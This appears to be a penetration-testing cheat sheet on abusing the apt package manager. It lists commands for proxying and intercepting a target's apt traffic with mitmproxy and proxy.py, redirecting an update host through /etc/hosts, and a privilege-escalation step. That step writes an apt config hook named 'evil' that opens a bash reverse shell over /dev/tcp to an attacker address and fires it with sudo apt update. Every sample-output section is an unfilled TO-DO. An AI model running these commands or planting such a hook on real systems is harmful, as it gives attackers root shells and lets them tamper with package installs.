Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
Proxy apt / apt-get Requeset
1. Start Proxy In Local Machine
mitmproxy --listen-host 0.0.0.0 --listen-port <LOCAL_PORT>
Sample Output:
TO-DO2. Add Proxy Path in Target Machine
# For target with no internet
sudo http_proxy=http://<LOCAL_IP>:<LOCAL_PORT> apt install <PACKEGE>
Sample Output:
TO-DORef: mitmproxy
MITM (Man-in-the-Middle)
1. Add Proxy Path in Target Machine
export http_proxy=http://<LOCAL_IP>:<LOCAL_PORT>
Sample Output:
TO-DO2. Start Proxy in Local Machine
# Tool
pip3 install --upgrade proxy.py
Sample Output:
TO-DO# Start a proxy server
proxy --hostname 0.0.0.0 --port <LOCAL_PORT>
Sample Output:
TO-DO3. Redirect Traffic to Our Server
# Edit /etc/hosts in target machine
<LOCAL_IP> apt.update.example.com
Sample Output:
TO-DOSUDO
1. Create a Malicious Config
echo 'APT::Update::Pre-Invoke {"bash -c '\''bash -i >& /dev/tcp/<LOCAL_IP>/<LOCAL_PORT> 0>&1'\''"}' > /etc/apt/apt.conf.d/evil
Sample Output:
TO-DO2. Exploit
sudo apt update -y
Sample Output:
TO-DO